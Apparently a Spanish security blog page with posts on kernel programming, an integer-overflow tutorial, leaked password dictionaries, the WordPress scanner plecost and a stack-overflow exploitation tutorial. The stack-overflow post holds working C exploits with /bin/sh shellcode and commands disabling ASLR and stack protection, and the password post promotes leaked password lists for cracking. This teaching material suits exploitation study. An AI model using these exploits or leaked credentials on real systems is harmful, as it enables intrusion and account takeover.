linux jediHoy estaba charlando con un compañero y a raiz de la conversación me he acordado de que no todo el mundo es consciente de las peculiaridades que tiene desarrollar el kernel (o parte) de un sistema operativo, concretamente Linux. Al volver a casa he buscado en el libro de Robert Love “Linux Kernel Development” porque estaba seguro de que tenía un pequeño apartado en el que describía algunas de estas “cosas” especiales que tiene desarrollar en el kernel. Os las pongo aquí y añado alguna cosa de cosecha propia:

Ausencia de glibc

El kernel de Linux no está linkado contra libc, principalmente por motivos de eficiencia y de tamaño, pero también por evitar situaciones del tipo “qué fue antes, el huevo o la gallina”; es decir, dependencias cíclicas entre el kernel y la librería. Para que los programadores del kernel no sufran (demasiado) muchas de las funciones más utilizadas de libc se han implementado directamente en el kernel. Este es el caso de printk (sustituyendo a printf).

Ausencia de protección de memoria

A diferencia del espacio de usuario, donde el kernel controla que un proceso no acceda a posiciones de memoria que no le pertenecen, nadie vigila que el kernel no lo haga (who watches watchmen?). Esto quiere decir que los accesos erróneos de memoria dentro del kernel son especialmente desastrosos. Normalmente resultan en un oops, que viene siendo un error mayor del kernel. Cabe resaltar también que la memoria del kernel no es paginable/swappable, por lo que cada byte adicional de memoria que consume es un byte menos disponible de memoria física.

Dificultades con el punto flotante

Una aplicación en espacio de usuario que desee usar punto flotante normalmente provoca un trap, que es capturada por el kernel y realiza una serie de acciones para cambiar el modo de entero a punto flotante. Como es evidente, el kernel no puede trapearse a sí mismo, por lo que el programador debería salvar y restaurar manualmente los registros de punto flotante (entre otras cosas). Por estos motivos no existe punto flotante en el kernel.

Kernel Stack mínima

La pila del kernel es estática (a diferencia de la pila de usuario) y de pequeño tamaño. Normalmente la pila del kernel es de un tamaño de dos páginas, lo que suponen 8Kbs en sistemas de 32 bits y 16Kbs en los de 64.

Sincronización

El problema de la concurrencia y la sincronización dentro del kernel adquiere un nuevo significado. Puesto que el kernel es interrumpible (preemtive), el propio kernel puede ser expropiado en favor de otro proceso que ejecute el mismo código. Sin el control adecuado las estructuras del kernel podrían verse afectadas y provocar un malfuncionamiento.

Estos son sólo algunos de los aspectos que diferencian la programación dentro del kernel de la programación en espacio de usuario. No hay que olvidar que el kernel es un programa tremendamente grande e interconectado, y que por su peculiar función tiene segmentos de código realmente complejos y que pueden fundir el cerebro de más de un programador.

Sea como sea, que no os de miedo el kernel, animaos a echarle un vistazo y a programar en él; nunca hay suficientes desarrolladores del kernel ;)

[+] http://www.kernel.org/pub/linux/docs/lkml

Categorías:Linux, Programación Etiquetas: , ,

RootedLab y RootedCon: disfrutando

Ayer asistí por fin al RootedLab de Reverse Engineering que impartía Rubén Santamarta, y fue francamente genial. Rubén controla muchísimo el tema y además hizo el training muy ameno y entretenido. Como no podía ser de otra forma, aprendimos mucho y lo pasamos estupendamente.

Para continuar con esta semana intensa, hoy ha dado comienzo la RootedCon, con un poco de retraso en la entrega de credenciales pero puntual con las ponencias. Ha sido un día muy interesante, ha habido charlas mejores y peores, pero la tónica general ha sido muy buena. Especial mención para la charla de Pedro Sánchez “”Autopsia de una intrusión: A la sombra del chacal”. Las ponencias más técnicas y que más me interesan están programadas para mañana y pasado, así que espero que esto vaya mejorando día a día.

Como es habitual en estos eventos, no se puede dejar pasar la ocasión de conocer gente nueva y pasarlo bien en los descansos y durante la comida :)

No os aburro más, a ver si saco tiempo estos días para seguir con la serie de introducción al exploiting, quizá con algo sobre evadir NX o sobre heap overflow en linux. Ya veremos ;)

Exploitation: Integer Overflow

12/03/2010 2 comentarios

Los desbordamientos de entero (integer overflow) son una de las vulnerabilidades más difíciles de detectar en un programa. En primer lugar, porque la forma de pensar para dar con ellos puede parecer obtusa al principio. En segundo lugar, porque un desbordamiento de entero no puede detectarse una vez ha sucedido, así que no hay forma de que una aplicación sepa si el resultado que acaba de calcular es correcto o no. Además, este tipo de vulnerabilidad no es explotable en la mayor parte de los casos, ya que la memoria no se sobreescribe, por lo que normalmente llevan a comportamientos impredecibles. Aún así, en las ocasiones en que el entero que se desborda tiene que ver con el cálculo del temaño de un buffer o con cuántas posiciones se deben llenar de un array es posible lograr un desbordamiento de buffer (stack overflow I y II). Vamos con un poco de teoría básica.

Un entero no deja de ser una representación en memoria de un valor, por lo que, aunque estemos acostumbrados a representarlos en formato decimal, en nuestro pc se almacenarán en binario. Un entero ocupa en memoria una longitud que (normalmente) es igual al tamaño de los punteros en esa arquitectura. Así, para x86 el tamaño de entero es de 32 bits, mientras que en x86_64 es de 64 bits. Concretamente en 32 bits tenemos principalmente int (32 bits, igual que long) y short (16 bits). Es importante resaltar, que dado que existe la necesidad de almacenar valores enteros negativos, hay un mecanismo para identificar estos en binario. El asunto es sencillo, si el primer bit es un 1, el número es negativo, si no, es positivo. Esto quiere decir que a la hora de definir variables de tipo entero tendremos enteros con signo (signed) y enteros sin signo (unsigned). Ambos tipos ocupan el mismo espacio en memoria, por lo que si tenemos los mismos bits para representar números positivos en un caso, y positivos y negativos en otro, es evidente que los rangos de representación variarán.

TIPO VALOR MIN VALOR MAX
Int -2147483648 2147483647
Unsigned int 0 4294967296
Short -32768 32767
Unsigned short 0 65536

Por otro lado, cuando se realiza un cálculo en el que los operandos involucrados son de distinto tamaño, el más pequeño se crece al tamaño del mayor para la operación (extensión de signo). Se realizará la operación con estos tamaños y, si el resultado debe almacenarse en la variable de menor tamaño, se truncará para que quepa en ella. Veamos un ejemplo:


#include <stdio.h>

int main(int argc, char* argv[]){
 int i;
 short s;

 i = 0xdefabada;
 s = i + 1;

 printf("[i] = 0x%x\n",i);
 printf("[i+1] = 0x%x\n",i+1);
 printf("[s] = 0x%x\n",s);

 return 0;
}

Tenemos un int (32 bits) y un short (16). En la suma intervienen operandos de distintos tamaños, y se almacena el resultado en s, de tamaño short, por lo que si el resultado es mayor que el valor que puede almacenar un short, los 16 bits más significativos se echarán a perder.


adrian@Andromeda-virt:~/exploiting$ ./a.out
[i] = 0xdefabada
[i+1] = 0xdefabadb
[s] = 0xffffbadb

Como printf al imprimir hexadecimal (%x) por defecto toma 32bits (una palabra) de tamaño, ha extendido el bit de signo de s, pero se ve cómo el resultado real ha quedado truncado. Con estas ideas captadas, podemos meternos en el tema.

El impaciente lector estará pensando “Todo esto está muy bien, ¿pero cual es el problema?”. Pues bien, el problema viene cuando debido a un error de programación, somos capaces de desbordar un entero. “¿Y qué pasa cuando lo desbordas?” Cuando se desborda un entero, se realiza la operación conocida como módulo, es decir, que VALOR_MAX + 1 = 0 en el caso de enteros sin signo, y que VALOR_MAX_POS + 1 = VALOR_MAX_NEG en enteros con signo. ¿Que no sabes lo que es el módulo? Bueno, rápidamente, el módulo consiste en realizar la división entera de dos números y quedarse el resto. O visto de otra forma, cuando te pasas por arriba, sigues por abajo y viceversa. Si no está muy claro, echa un ojo aquí.

Vamos a ver un ejemplo de lo que podría pasar. Pensad en un programa tipo dd, que copia de un origen a un destino bloques de tamaño dado. Este programa recibe del usuario el origen de la copia, el destino, y el tamaño. Nuestro siguiente código no recibe el destino (por simplicidad) y simplemente escribe el contenido en un array que luego podría copiarse a un destino hipotético o ser procesado o lo que fuera.


#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char* argv[]){
 int len;
 char buf[256];

 if (argc < 3){
 printf("Uso %s <longitud> <contenido>\n", argv[0]);
 exit(0);
 }

 len = atoi(argv[1]);
 if (len > 256){
 printf("Aquí viene un listillo\n");
 exit(-1);
 }
 printf("[int]  len=%d\n",len);
 printf("[uint] len=%u\n",len);

 memcpy(buf, argv[2], len);

 return 0;
}

El usuario que a primera vista no ha detectado el problema, tratará de comprobar el funcionamiento del programa con algunos ejemplos, intentando colocar en buf más de 256 caracteres y así sobreescribir nuestra tan valorada dirección de retorno.


adrian@Andromeda-virt:~/exploiting$ ./int
Uso ./int <longitud> <contenido>
adrian@Andromeda-virt:~/exploiting$ ./int 5 AAA
 [int]  len=5
 [uint] len=5
adrian@Andromeda-virt:~/exploiting$ ./int 5 AAAAA
[int]  len=5
[uint] len=5
adrian@Andromeda-virt:~/exploiting$ ./int 5 AAAAAAAAAA
[int]  len=5
[uint] len=5
adrian@Andromeda-virt:~/exploiting$ ./int 5 $(perl -e 'print "A"x400')
[int]  len=5
[uint] len=5
adrian@Andromeda-virt:~/exploiting$ ./int 400 $(perl -e 'print "A"x400')
Aquí viene un listillo

Parece que la comprobación sobre la longitud que hacemos es suficientemente robusta, ya que si el tamaño que pedimos es mayor que el buffer el programa nos insulta y finaliza. Y si el tamaño es menor, pero la cadena que le pasamos es mayor, el programa copia sólo hasta el valor de la longitud, por lo que tampoco desborda el buffer. ¿Dónde está entonces el truco? La magia en este ejemplo está en que se trata la variable len de dos maneras diferentes. En primer lugar, se comprueba len < 256, tratando el tipo de len como valor entero (int) con signo. En segundo lugar, se utiliza len como tercer argumento de memcpy, que lo que espera es un entero sin signo (unsigned int). Sabiendo esto, podemos aprovecharnos de los conocimientos que tenemos acerca de los enteros en esta arquitectura y tratar de saltarnos la restricción. Lo que necesitamos es que en el momento de comprobar la longitud (len < 256, tipo int) el valor sea menor que 256, y que a la hora de realizar la copia de memoria (memcpy(buf, argv[2], len), el valor sea mayor para provocar un buffer overflow.


adrian@Andromeda-virt:~/exploiting$ ./int -1 $(perl -e 'print "A"x400')
[int]  len=-1
[uint] len=4294967295
Fallo de segmentación

¡Bingo! Como se muestra en la salida de arriba, el valor -1 que le hemos introducido, al convertirse a unsigned int es 4294967295, por lo que pasa el primer control de longitud y a la hora del memcpy desborda el buffer. Sin embargo, en este caso la vulnerabilidad no es explotable, o al menos no lo es de manera sencilla, ya que la cantidad de espacio que estamos ocupando en la pila es 4294967295 bytes, que si no me equivoco al dividir son unos 4GB de memoria, por lo que habríamos destruido mucho más que la pila de nuestra función o programa y el fallo de segmentación llega antes de que se produzca el return de main. Aunque podamos buscar un número negativo que al pasar a unsigned int sea menor, el valor más bajo que vamos a poder conseguir es 0×80000000.


adrian@Andromeda-virt:~/exploiting$ gdb -q
(gdb) p 0x80000000
$1 = 2147483648
(gdb) quit
adrian@Andromeda-virt:~/exploiting$ ./int -2147483648 $(perl -e 'print "A"x400')
[int]  len=-2147483648
[uint] len=2147483648
Fallo de segmentación

Aún así 2097152 bytes siguen siendo 2GB de memoria. Mala suerte esta vez. Sin embargo, existen situaciones en las que sí resulta explotable un integer overflow. Observad suspicazmente el siguiente código:


#include <stdlib.h>
#include <stdio.h>

int main(int argc, char* argv[]){
 int i,len;
 char *buf,*ptr;

 if (argc < 3){
 printf("Uso: %s <longitud> <mensaje>\n", argv[0]);
 exit(0);
 }

 len = atoi(argv[1]);
 ptr = argv[2];
 printf("[len]   (signed)   = %d\n", len);
 printf("[len*4] (unsigned) = %u\n",(len*4));

 buf = malloc(len*sizeof(int));

 for (i=0;i<len;i++){
 buf[i] = *(ptr+i);
 }

 printf("[DEBUG] Buf %s\n",buf);
 free(buf);
 return 0;
}

¿No? ¿Nada? En principio parece que reserva espacio para len enteros, y que rellena el buffer hasta len, con lo que no deberíamos poder engañarlo. Vamos a ejecutarlo en un par de casos a ver como se comporta.

adrian@Andromeda-virt:~/exploiting$ ./iovfw 5 12345
[len]   (signed)   = 5
[len*4] (unsigned) = 20
[DEBUG] Buf 12345
adrian@Andromeda-virt:~/exploiting$ ./iovfw 5 1234567890
[len]   (signed)   = 5
[len*4] (unsigned) = 20
[DEBUG] Buf 12345

Volvemos a estar en el caso (quizá algo menos visible) de que necesitamos que len valga distinto a la hora de reservar memoria, y a la hora de rellenar el buffer, de tal forma que se rellenen más bytes de los reservados. La forma de lograr esto es aprovechando la multiplicación que se realiza dentro del malloc. Sabemos que sizeof(int) devolverá 4, por lo que necesitamos que len*4 sea un número menor que len. Eso está hecho, ¿no?


adrian@Andromeda-virt:~/exploiting$ gdb -q
(gdb) p 0xffffffff
$1 = 4294967295
(gdb) p 4294967295/4
$2 = 1073741823
(gdb) p (unsigned int)1073741823
$3 = 1073741823
(gdb) p 1073741824*4
$4 = 0
(gdb) p 1073741825*4
$5 = 4
(gdb) p 1073741826*4
$6 = 8
(gdb) p 1073741827*4
$7 = 12
(gdb) quit
adrian@Andromeda-virt:~/exploiting$ ./iovfw2 1073741827 AAAAAAAAAA
[len]   (signed)   = 1073741827
[len*4] (unsigned) = 12
Fallo de segmentación

adrian@Andromeda-virt:~/exploiting$ gdb -q iovfw2
 Leyendo símbolos desde /home/adrian/exploiting/iovfw2...hecho.
 (gdb) run 1073741827 AAAAAAAAAA
 Starting program: /home/adrian/exploiting/iovfw2 1073741827 AAAAAAAAAA
 [len]   (signed)   = 1073741827
 [len*4] (unsigned) = 12

 Program received signal SIGSEGV, Segmentation fault.
 0x0804857f in main (argc=3, argv=0xbffff524) at int_ovflow2.c:22
 22            buf[i] = *(ptr+i);
 (gdb) p i
 $1 = 2382

Con un poco de ayuda de gdb podemos encontrar el valor que desborde un entero sin signo al multiplicarse por cuatro. En primer lugar obtenemos el mayor entero representable y lo dividimos por cuatro. A ese valor le sumamos uno, y al multiplicarlo por cuatro observamos que da cero; lo hemos desbordado. En esta situación, malloc reservará 12 bytes, pero el bucle tratará de escribir 1073741827. En este último fragmento vemos cómo el bucle ha escrito 2382 posiciones de memoria antes de fallar estrepitosamente. Una situación de este tipo en las condiciones adecuadas es explotable mediante una técnica denominada heap overflow, que aún no hemos tratado en este blog, pero que lo haremos más adelante.

Esta entrada ha quedado un tanto larga y hay muchas cosas que asimilar, así que si tenéis alguna aportación, aclaración o duda, estaré encantado de leerla en los comentarios ;)

[+] Más ejemplos y referencias: http://www.phrack.org/issues.html?issue=60&id=10#article

Diccionarios de Passwords

Hoy voy a postear una entrada rápida mientras preparo la siguiente de la serie de exploiting :) Esta mañana me he topado, en la siempre recomendable SkullSecurity con un recopilatorio de diccionarios de passwords muy interesante. Incluye diccionarios de algunas herramientas famosas, como JTR o Cain&Abel, pero también (y esto es lo más interesante) incluye las listas de passwords que se han filtrado ultimamente, como las de Myspace, Rockyou o Hotmail.

Estas últimas tienen además versión plana (para utilizar en herramientas) y versión con contador de aparición, que te indica el número de repeticiones de cada password en el diccionario. Ron ha incluído además entre los listados un pequeño análisis estadístico de cobertura que está curioso; por ejemplo, con 92 palabras (723 bytes) cubres el 10% de las contraseñas de los usuarios de rockyou.com.

Os recomiendo encarecidamente que os los descarguéis pronto, no sea que vuelen, porque como dice el propio Ron en su web:

I’m hosting them because it seems like nobody else does (hopefully it isn’t because hosting them is illegal :))

[+] Podéis obtener las listas aquí: http://www.skullsecurity.org/wiki/index.php/Passwords

Categorías:hacking, seguridad Etiquetas: ,

Auditando WordPress con plecost

Esta semana he descubierto una nueva herramienta, aún en fase beta, para auditar websites basados en wordpress. Ha sido desarrollada por los chicos de iniqua.com recientemente para facilitarse la tarea de encontrar vulnerabilidades conocidas en plataformas wordpress. La funcionalidad incluye la identificación de la versión y de los plugins instalados, así como su versión y los CVEs asociados al mismo.

Orion:plecost-0.0.1-5beta Adrian$ ./plecost_0.0.1-5beta.py

// Plecost - Wordpress finger printer Tool - 0.0.1-5beta
//
// Developed by:
//        Francisco J. Gomez aka (ffranz@iniqua.com)
//        Daniel Garcia Garcia (dani@iniqua.com)
//
// Info: http://iniqua.com/labs/
// Bug report: plecost@iniqua.com

Usage: ./plecost_0.0.1-5beta.py [options] URL | [options] -G

Options:
    -G        : Google search mode
    -n        : Number of plugins to use (Default all - more than 7000).
    -c        : Check plugins only with CVE associated.
    -R file   : Reload plugin list. Use -n option to control the extension (This take several minutes)
    -o file   : Output file. (Default "output.txt")
    -i file   : Input plugin list. (Need to start the program)
    -s time   : Min sleep time between two probes. Time in milliseconds. (Default 10)
    -M time   : Max sleep time between two probes. Time in milliseconds. (Default 20)
    -h        : Display help. (More info: http://iniqua.com/labs/)

La he probado sobre un par de sitios diferentes, sin embargo al tratar de probarlo sobre este blog da un error (una excepción sin controlar) al no poder abrir la URL.

plecost en acción

plecost en acción

Me parece muy interesante la opción de buscar en google (-G) sitios con plugins que se sabe son vulnerables, si bien es cierto que podrían ofrecer algún modo de controlar el número de resultados de la búsqueda o de seleccionar de la lista uno o varios  plugins con alguna expresión regular o similar.

plecost google search

buscando en google con plecost

La herramienta es útil, aunque aún le quedan aspectos por pulir. Personalmente, echo en falta que tenga una opción de autoupdate, para descargarse una lista actualizada de plugins a testear y/o CVEs relevantes. Además, creo que sería más cómodo si aparte del número CVE mostrase el link al mismo. En general la aplicación no es demasiado rápida, quizá para la versión final incluyan threads que agilicen un poco la tarea de probar tantos plugins. Y, aunque es un detalle menor, de vez en cuando imprime algún salto de linea adicional al mostrar los resultados. No obstante, estaremos atentos a las mejoras que vayan haciendo y presentaremos la versión definitiva una vez esté lista.

<pre>Orion:plecost-0.0.1-5beta Adrian$ ./plecost_0.0.1-5beta.py -i wp_plugin_list.txt -n 50 www.iniqua.com
[*] Num of checks set at: 50

-------------------------------------------------
[*] Input plugin list set to: wp_plugin_list.txt
-------------------------------------------------

==> Results for: www.iniqua.com <==

[i] Wordpress version found:  10.0

[*] Search for installed plugins

Parece que la gente de iniqua sabe como evadir su propia herramienta ;)

[+] http://code.google.com/p/plecost/

Exploitation: Stack Overflow II

Siguiendo con el ejemplo de la entrada anterior, vamos a demostrar un par de métodos para ejecutar nuestro propio código tras explotar una vulnerabilidad de tipo stack overflow. A lo largo de esta entrada haremos uso de lo que se conoce como shellcode. De momento haremos un acto de fe y nos creeremos que ese chorro de bytes ejecuta el código que nos dicen. Más adelante dedicaremos un par de entradas a explicar las shellcodes, qué son, cómo se programan y qué hace falta saber para hacerlo.

Para poder seguir estos ejemplos es importante deshabilitar el ASLR (Address Space Layout Randomization), el stack NX (pila no ejecutable) y el SSP (Smashing Stack Protector). Para desactivar el ASLR, como root (o con sudo) ejecutaremos lo siguiente:

root@Andromeda-virt:~/exploiting# sysctl -w kernel.randomize_va_space=0

Tanto el SSP como el NX son opciones del compilador. Basta con compilar nuestro programa vulnerable de la siguiente forma:

adrian@Andromeda-virt:~/exploiting$ gcc -fno-stack-protector -z execstack -o sovf stack_overflow.c

Como ya he comentado anteriormente, al final de esta serie de artículos, exploraremos este tipo de protecciones y veremos qué se puede hacer con cada una de ellas, pero de momento vamos a hacer trampas y a deshabilitarlas ;)

Usando el entorno

Una forma de almacenar nuestro código para su posterior ejecución consiste en utilizar variables de entorno. Las variables de entorno se almacenan en la pila, por lo que es relativamente fácil obtener su dirección. De hecho, si miramos la pila completa de un proceso cualquiera.


~/exploiting$ gdb -q sovf

(gdb) br main
Punto de interrupción 1 at 0x804856d: file stack_overflow.c, line 27.
(gdb) run AABB
Starting program: /home/adrian/exploiting/sovf AABB

Breakpoint 1, main (argc=2, argv=0xbffff534) at stack_overflow.c:27
27       if (argc > 1)

(gdb) x/10s $sp+556
0xbffff69c:     "/home/adrian/exploiting/sovf"
0xbffff6b9:     "AABB"
0xbffff6be:     "ORBIT_SOCKETDIR=/tmp/orbit-adrian"
0xbffff6e0:     "SSH_AGENT_PID=1307"
0xbffff6f3:     "SHELL=/bin/bash"
0xbffff703:     "TERM=xterm"
0xbffff70e:     "XDG_SESSION_COOKIE=81633471ce2a825a8e7fccd64b655122-1267469914.799642-1915323074"
0xbffff75f:     "GTK_RC_FILES=/etc/gtk/gtkrc:/home/adrian/.gtkrc-1.2-gnome2"
0xbffff79a:     "WINDOWID=65012725"
0xbffff7ac:     "GTK_MODULES=canberra-gtk-module"

Dos cosas a resaltar de esto. En primer lugar, que en la pila, mucho más abajo de donde comienza la pila del programa a ejecutar, se encuentran las variables de entorno. En segundo lugar, que entre las variables de entorno se encuentran el nombre del programa que se está ejecutando (“/home/adrian/exploiting/sovf”) y el argumento que recibe (“AABB”). Lo único que necesitamos hacer, si recordáis el artículo anterior, es colocar en una variable de entorno nuestra shellcode, localizar su dirección, y sobreescribir la dirección de retorno de la pila con ella. A modo de recordatorio, el código que vamos a explotar es el que muestro a continuación. Es idéntico al de la entrada anterior, salvo que se le ha añadido un bucle for para mostrar por pantalla el contenido del buffer tras haber sido sobreescrito.


#include <string.h>
#include <stdlib.h>
#include <stdio.h>

void sayhi(char* name){
 char name_buffer[20];
 unsigned char* ptr;
 unsigned int i;

 strcpy(name_buffer, name);

 printf("DEBUG: name_buffer localizado en 0x%08x\n", (unsigned int)&name_buffer);
 ptr = name_buffer;

 printf("DEBUG: contenido del buffer: \n");
 for(i=0;i<40;i++){
   printf(" %2x  ",*(ptr+i));
   if ((i%16)==15)
     printf("\n");
 }
 printf("\n");
 printf("Bienvenido al sistema, %s\n",name);
}

int main(int argc, char* argv[]){

 if (argc > 1)
   sayhi(argv[1]);
 else
   exit(0);

 return 0;
}

Para calcular la posición en la que se encontrará nuestra SHELLCODE en la pila, utilizaremos una pequeña utilidad en C que hace uso de la llamada al sistema getenv y ajusta según la longitud del nombre del programa a ejecutar. En esencia, calcula la posición de la variable en esa ejecución y ajusta la diferencia con el nombre del programa que queremos explotar para averiguar la posición de la variable en ese nuevo entorno. Es muy sencillo, pero para no detenernos ahora, si no lo entendéis no os preocupéis, cuando hablemos de las shellcodes explicaremos esto más a fondo. Basta con saber que nos da la dirección de memoria en la que se hallará la variable de entorno cuando ejecutemos nuestro programa.


adrian@Andromeda-virt:~/exploiting$ export SHELLCODE=$(cat shellcode)
adrian@Andromeda-virt:~/exploiting$ ./getenvaddr SHELLCODE ./sovf
SHELLCODE will be at 0xbffff6eb
adrian@Andromeda-virt:~/exploiting$ ./sovf $(perl -e 'print "\xeb\xf6\xff\xbf"x40')
DEBUG: name_buffer localizado en 0xbffff3b4
DEBUG: contenido del buffer:
 eb   f6   ff   bf   eb   f6   ff   bf   eb   f6   ff   bf   eb   f6   ff   bf
 eb   f6   ff   bf   b4   f3   ff   bf   18    0    0    0   eb   f6   ff   bf
 eb   f6   ff   bf   eb   f6   ff   bf
Bienvenido al sistema, �[1��C��C
 ��S
 �
 $ id
uid=1000(adrian) gid=1000(adrian) groups=4(adm),20(dialout),24(cdrom),46(plugdev),104(lpadmin),115(admin),120(sambashare),1000(adrian)

Y obtenemos una shell. Obviamente no es una shell de root, ya que el código que ejecutemos al explotar una vulnerabilidad correrá con los privilegios que tuviera el programa explotado.

Utilizando el propio buffer

Otro lugar donde podemos colocar nuestro shellcode es en el propio buffer del que tenemos control. Para este ejemplo, hemos ampliado el buffer que contiene el nombre a 100 caracteres, de tal forma que podamos insertar nuestro shellcode y explicar la técnica. Escribiremos nuestro propio exploit en C para este caso.


#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char shellcode[]=
 "\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x8d\x4b"
 "\x08\x8d\x53\x0c\xb0\x0b\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69"
 "\x6e\x2f\x73\x68";

int main(int argc, char *argv[]) {
 unsigned int ref, *ptr, ret, offset;
 char *execline, *buffer;

 execline = (char *) malloc(170);
 memset(execline, 0, 170);

 strcpy(execline, "./sovf \'");
 buffer = execline + strlen(execline);

 if(argc < 1){
 printf("Uso: %s <offset>\n",argv[0]);
 exit(0);
 }else
 offset = atoi(argv[1]);

 ret = (unsigned int) &ref - offset;

 for(ref=0; ref < 160; ref+=4)
 *((unsigned int *)(buffer+ref)) = ret;

 memset(buffer, 0x90, 40);
 memcpy(buffer+40, shellcode, sizeof(shellcode)-1);

 strcat(execline, "\'");

 system(execline);
 free(execline);
}

El código debería ser legible para los que sepáis un poco de C. Aquellos que no, no sé a qué esperáis para aprender ;) El exploit construye en execline la llamada que va a realizar a nuestro programa vulnerable. En primer lugar coloca el nombre (./sovf ‘), seguido de 40 NOPs (0×90), seguidos de nuestra shellcode (36 bytes) y finalizando con la dirección de retorno veinte veces. Recapitulando, nos queda:

[ ./sovf ' | 40xNOP | SHELLCODE (36) | RETx20 | ']

¿Y cómo hemos obtenido la dirección de retorno? Utilizamos una variable de referencia (ref), y usamos su dirección de memoria (en la pila) menos un offset, para calcular más o menos, la dirección de nuestro shellcode en memoria. Esto quiere decir que nuestras variables de pila (entre ellas ref) estarán debajo de las del programa que vamos a explotar, puesto que nuestro exploit se ejecuta primero. Con esta idea, es fácil ver que la dirección de nuestra referencia (ref), menos una cantidad desconocida a priori (offset) será igual a la dirección de memoria del buffer_name, que es donde estará cargado nuestro shellcode. El cálculo de ese offset desconocido se puede realizar desde la shell, con un sencillo bucle que pruebe varios valores:


for i in $(seq 0 40 300); do echo "Offset vale $i"; ./a.out $i; done

Con esta prueba determinamos que uno de los valores válidos es 280. Hay más valores de offset que funcionan, como por ejemplo 240 o 260. ¿Por qué? Pues porque debido a la imprecisión de este cálculo, y para facilitar que acertemos con la dirección de retorno, nuestro buffer contiene un colchón inicial de instrucciones NOP (0×90). Estas instrucciones no hacen nada, el procesador las ejecuta sin que realicen ninguna operación ni altereren su estado lo más mínimo, salvo el EIP claro, que va avanzando de instrucción a instrucción. Por lo tanto, nos basta con acertar en cualquiera de los NOPs que hemos cargado en memoria para que, al final, el procesador ejecute nuestro shellcode.

Aunque esto es funcional, es poco elegante. Conociendo un poco el funcionamiento de Linux, podemos afinar aún más en la realización de nuestro exploit, reduciendo así el número de bytes necesarios para introducir nuestro shellcode. En primer lugar, hay que saber que las direcciones de memoria asignadas a la pila en Linux comienzan en la 0xbffffffa. En segundo lugar, conviene conocer la llamada al sistema execle, que permite configurar el entorno del programa a ejecutar. Además recordad lo que hemos dicho al principio de esta entrada: el nombre del programa y sus argumentos están en la pila.

#include <stdlib.h>
#include <string.h>
#include <unistd.h>

char shellcode[] =
"\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x8d\x4b"
"\x08\x8d\x53\x0c\xb0\x0b\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68";

int main(int argc, char* argv[]){
 int i;
 unsigned int ret;
 char *env[2] = {shellcode, NULL};
 char *buffer = (char *) malloc(166);

 ret = 0xbffffffa - (sizeof(shellcode)-1) - strlen("./sovf");

 for (i=0;i<160;i+=4)
 *((unsigned int *)(buffer + i)) = ret;

 execle("./sovf","sovf", buffer, NULL, env);
 free(buffer);
 return 0;
}

El “truco” de este exploit es el array env[], cuyo único contenido es nuestro shellcode. Este array se pasa como entorno del programa vulnerable mediante la llamada a execle. Puesto que lo único que contiene el entorno es nuestro shellcode (más el nombre del programa y los argumentos), es sencillo obtener la dirección exacta de nuestro shellcode en memoria. Basta con restarle al comienzo de la pila (0xbffffffa) el tamaño del shellcode y del nombre del programa. Ahora que ya tenemos la dirección de retorno, el resto del exploit es igual, consiste en crear un buffer con la dirección de retorno repetida cuarenta veces, para asegurarnos de que sobreescribimos el valor de la pila.

Con esto cerramos el tema del stack overflow, pero no la serie de exploiting, de la que seguiré poniendo artículos sobre los shellcodes, así como otras vulnerabilidades clásicas más allá del stack overflow como puede ser el format string, y algunos métodos para tomar control del programa mediante el uso de secciones específicas del binario. Como ya he dicho otras veces, lo más básico primero, y luego iremos viendo ;) . Si tenéis alguna duda o apunte, por favor, dejad un comentario

Categorías:exploiting, hacking Etiquetas: , ,
Seguir

Get every new post delivered to your Inbox.